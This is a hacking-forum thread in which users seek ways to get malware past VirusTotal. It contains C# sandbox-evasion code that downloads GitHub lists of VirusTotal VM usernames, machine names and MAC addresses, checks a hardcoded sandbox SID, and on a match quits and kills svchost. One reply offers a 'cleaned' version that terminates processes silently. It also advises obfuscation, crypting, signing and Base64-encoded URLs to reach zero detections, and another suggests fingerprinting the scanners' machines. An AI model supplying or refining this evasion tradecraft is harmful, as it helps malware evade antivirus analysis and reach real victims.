[SIM-4947326]

Is it possible to bypass virustotal? I've tried this but it hasn't really helped with getting the detection rate, why?


string url1 = "https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/pc_username_list.txt";
string black1list = new WebClient().DownloadString(url1);
if (black1list.Contains(Environment.UserName))
{
Application.Exit();
Process.Start("taskkill", "/F /IM svchost.exe");
}
string url = "https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/pc_name_list.txt";
string blacklist = new WebClient().DownloadString(url);
if (blacklist.Contains(Environment.MachineName))
{
Application.Exit();
Process.Start("taskkill", "/F /IM svchost.exe");
}
string macAddress = GetMacAddress();
string blacklistUrl = "https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/mac_list.txt";
string blacklistText = new WebClient().DownloadString(blacklistUrl);

// Check if the MAC address is in the blacklist
if (blacklistText.Contains(macAddress))
{
Application.Exit();
Process.Start("taskkill", "/F /IM svchost.exe");
}
string currentUserSid = WindowsIdentity.GetCurrent().User.Value;
if (currentUserSid == "S-1-5-21-4274087327-1600814645-417113789-1000")
{
Application.Exit();
Process.Start("taskkill", "/F /IM svchost.exe");
}

[Dread.Reaper]

Uhh, what?
How are you attempting to Bypass a multiscan site by using its known black list files?

I god honestly dont even see how this is suppose to work?
So you got the blacklists from VT and compared the binary to its lists.
... What is that exactly suppose to do or bypass the engine, like whatsoever?

[SIM-4947326]

Uhh, what?
How are you attempting to Bypass a multiscan site by using its known black list files?

I god honestly dont even see how this is suppose to work?
So you got the blacklists from VT and compared the binary to its lists.
... What is that exactly suppose to do or bypass the engine, like whatsoever?

It bypasses the "Behavior" Part in VirusTotal and there used to be a tool that did bypass there detections doing the steps I am, das why I'm asking for help for some other ways to bypass it cause its clearly possible.
Before ❌
https://github.com/Lawxsz/bypass-virus-t...detect.png

After ✅
https://github.com/Lawxsz/bypass-virus-t...detect.png

[padrino]

Yeah I'm with Dread.Reaper on this one. I don't really get how this is supposed to work - the code doesn't really do anything? unless I'm missing something?

[SIM-4947326]

Uhh, what?
How are you attempting to Bypass a multiscan site by using its known black list files?

I god honestly dont even see how this is suppose to work?
So you got the blacklists from VT and compared the binary to its lists.
... What is that exactly suppose to do or bypass the engine, like whatsoever?

Also I have not a single clue what you mean "by using its known black list files", either you're not understanding what I'm doing or you're just explaining it very badly.

---

Yeah I'm with Dread.Reaper on this one. I don't really get how this is supposed to work - the code doesn't really do anything? unless I'm missing something?

Do you understand how virus total works tho? It's kinda self-explanatory you check if the pc hwid/username/MAC matches with virustotals and if it does the program aborts.

https://user-images.githubusercontent.co...0a8d58.png

[Dread.Reaper]

Also I have not a single clue what you mean "by using its known black list files", either you're not understanding what I'm doing or you're just explaining it very badly.

Me? lmfao
Your the one trying to use the shit.

}
string url = "https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/pc_name_list.txt";
string blacklist = new WebClient().DownloadString(url);
if (blacklist.Contains(Environment.MachineName))
{

You kids crack me up sometimes.

[SIM-4947326]

Me? lmfao
Your the one trying to use the shit.


You kids crack me up sometimes.

But what changes even if they are known blacklist files? Literally nothing. I don't get your point lol

[Dread.Reaper]

But what changes even if they are known blacklist files? Literally nothing. I don't get your point lol

There seems to be a lot you dont get.

[SIM-4947326]

There seems to be a lot you dont get.

Alright, explain to me then. lol I feel like all you do is come here to start arguments you're not willing to help or anything, your purpose of your reply was to just start an argument also I'd like to add that you have 0 common sense but that's just my opinion.

[RoadLess]

i saw on github script in python that bypass a VirusTotal scan. I didn't look at it, it just caught my attention so I don't know if it worked. You can search

[xDRISSx]

you should obfuscate the program after uploading it in virustotal and dont use advance obfuscation just a normal one

[Dread.Reaper]

Alright, explain to me then. lol I feel like all you do is come here to start arguments you're not willing to help or anything, your purpose of your reply was to just start an argument also I'd like to add that you have 0 common sense but that's just my opinion.

Your opinion also seems to think s github script is going to bypass Virus total.

The engine scans the file using a multi scanning setup, meaning it is pushed against all the AVs to test.

Explain to me how adding this code to a binary is going to stop it from scanning the file?

Your code on execution attempts to determine if its the VT environment or not.

Problem here is on execution its loaded to memory which is where VT operates.

All this code does is stop itself if its in the VT environment. It does not change detections.

[Silkroad]

Here's a cleaned version of the code with some changes.
Also, this will not notify the user that the process is being terminated.

I didn't include any "Console.WriteLine" statements along the "TerminateSvchostProcesses()" lines.
This prevents the code from printing messages to the console, if ever the application is run from a console or a command-line environment.

Code

using System;
using System.Diagnostics;
using System.Net;

namespace CombinedProgram
{
    class Program
    {
        const string USERNAME_BLACKLIST_URL = "https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/pc_username_list.txt";
        const string COMPUTER_NAME_BLACKLIST_URL = "https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/pc_name_list.txt";
        const string MAC_ADDRESS_BLACKLIST_URL = "https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/mac_list.txt";

        static void Main(string[] args)
        {
            CheckBlacklists();
        }

        private static void CheckBlacklists()
        {
            // Download and check the username blacklist
            string usernameBlacklist = new WebClient().DownloadString(USERNAME_BLACKLIST_URL);
            if (usernameBlacklist.Contains(Environment.UserName))
            {
                TerminateSvchostProcesses();
            }

            // Download and check the computer name blacklist
            string computerNameBlacklist = new WebClient().DownloadString(COMPUTER_NAME_BLACKLIST_URL);
            if (computerNameBlacklist.Contains(Environment.MachineName))
            {
                TerminateSvchostProcesses();
            }

            // Get the MAC address and check the MAC address blacklist
            string macAddress = GetMacAddress();
            string macAddressBlacklist = new WebClient().DownloadString(MAC_ADDRESS_BLACKLIST_URL);
            if (macAddressBlacklist.Contains(macAddress))
            {
                TerminateSvchostProcesses();
            }

            // Check the current user's SID
            string currentUserSid = WindowsIdentity.GetCurrent().User.Value;
            const string SPECIFIC_SID = "S-1-5-21-4274087327-1600814645-417113789-1000";
            if (currentUserSid == SPECIFIC_SID)
            {
                TerminateSvchostProcesses();
            }
        }

        private static string GetMacAddress()
        {
            // Implementation of GetMacAddress() method
        }

        private static void TerminateSvchostProcesses()
        {
            var svchostProcesses = Process.GetProcessesByName("svchost");
            foreach (var svchostProcess in svchostProcesses)
            {
                try
                {
                    svchostProcess.Kill();
                }
                catch (Exception ex)
                {
                    // Handle any exceptions silently
                }
            }
        }
    }
}

Make sure to delete the explanations/comments inside the code.
With good obfuscation, crypting, signing, and small changes, you could achieve zero detections for some days.

I also recommend changing URLs to Base64 encryption, this will make it a little bit harder for AVs.

[SIM-4947326]

Here's a cleaned version of the code with some changes.
Also, this will not notify the user that the process is being terminated.

I didn't include any "Console.WriteLine" statements along the "TerminateSvchostProcesses()" lines.
This prevents the code from printing messages to the console, if ever the application is run from a console or a command-line environment.

Code

using System;
using System.Diagnostics;
using System.Net;

namespace CombinedProgram
{
    class Program
    {
        const string USERNAME_BLACKLIST_URL = "https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/pc_username_list.txt";
        const string COMPUTER_NAME_BLACKLIST_URL = "https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/pc_name_list.txt";
        const string MAC_ADDRESS_BLACKLIST_URL = "https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/mac_list.txt";

        static void Main(string[] args)
        {
            CheckBlacklists();
        }

        private static void CheckBlacklists()
        {
            // Download and check the username blacklist
            string usernameBlacklist = new WebClient().DownloadString(USERNAME_BLACKLIST_URL);
            if (usernameBlacklist.Contains(Environment.UserName))
            {
                TerminateSvchostProcesses();
            }

            // Download and check the computer name blacklist
            string computerNameBlacklist = new WebClient().DownloadString(COMPUTER_NAME_BLACKLIST_URL);
            if (computerNameBlacklist.Contains(Environment.MachineName))
            {
                TerminateSvchostProcesses();
            }

            // Get the MAC address and check the MAC address blacklist
            string macAddress = GetMacAddress();
            string macAddressBlacklist = new WebClient().DownloadString(MAC_ADDRESS_BLACKLIST_URL);
            if (macAddressBlacklist.Contains(macAddress))
            {
                TerminateSvchostProcesses();
            }

            // Check the current user's SID
            string currentUserSid = WindowsIdentity.GetCurrent().User.Value;
            const string SPECIFIC_SID = "S-1-5-21-4274087327-1600814645-417113789-1000";
            if (currentUserSid == SPECIFIC_SID)
            {
                TerminateSvchostProcesses();
            }
        }

        private static string GetMacAddress()
        {
            // Implementation of GetMacAddress() method
        }

        private static void TerminateSvchostProcesses()
        {
            var svchostProcesses = Process.GetProcessesByName("svchost");
            foreach (var svchostProcess in svchostProcesses)
            {
                try
                {
                    svchostProcess.Kill();
                }
                catch (Exception ex)
                {
                    // Handle any exceptions silently
                }
            }
        }
    }
}

Make sure to delete the explanations/comments inside the code.
With good obfuscation, crypting, signing, and small changes, you could achieve zero detections for some days.

I also recommend changing URLs to Base64 encryption, this will make it a little bit harder for AVs.

Big thank you for this brother really appreciate it 👍💖

[Spookz]

Is it possible to bypass virustotal? I've tried this but it hasn't really helped with getting the detection rate, why?


string url1 = "https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/pc_username_list.txt";
string black1list = new WebClient().DownloadString(url1);
if (black1list.Contains(Environment.UserName))
{
Application.Exit();
Process.Start("taskkill", "/F /IM svchost.exe");
}
string url = "https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/pc_name_list.txt";
string blacklist = new WebClient().DownloadString(url);
if (blacklist.Contains(Environment.MachineName))
{
Application.Exit();
Process.Start("taskkill", "/F /IM svchost.exe");
}
string macAddress = GetMacAddress();
string blacklistUrl = "https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/mac_list.txt";
string blacklistText = new WebClient().DownloadString(blacklistUrl);

// Check if the MAC address is in the blacklist
if (blacklistText.Contains(macAddress))
{
Application.Exit();
Process.Start("taskkill", "/F /IM svchost.exe");
}
string currentUserSid = WindowsIdentity.GetCurrent().User.Value;
if (currentUserSid == "S-1-5-21-4274087327-1600814645-417113789-1000")
{
Application.Exit();
Process.Start("taskkill", "/F /IM svchost.exe");
}

Upload a file to virus total to get all the machines hardware details, then just blacklist them simple.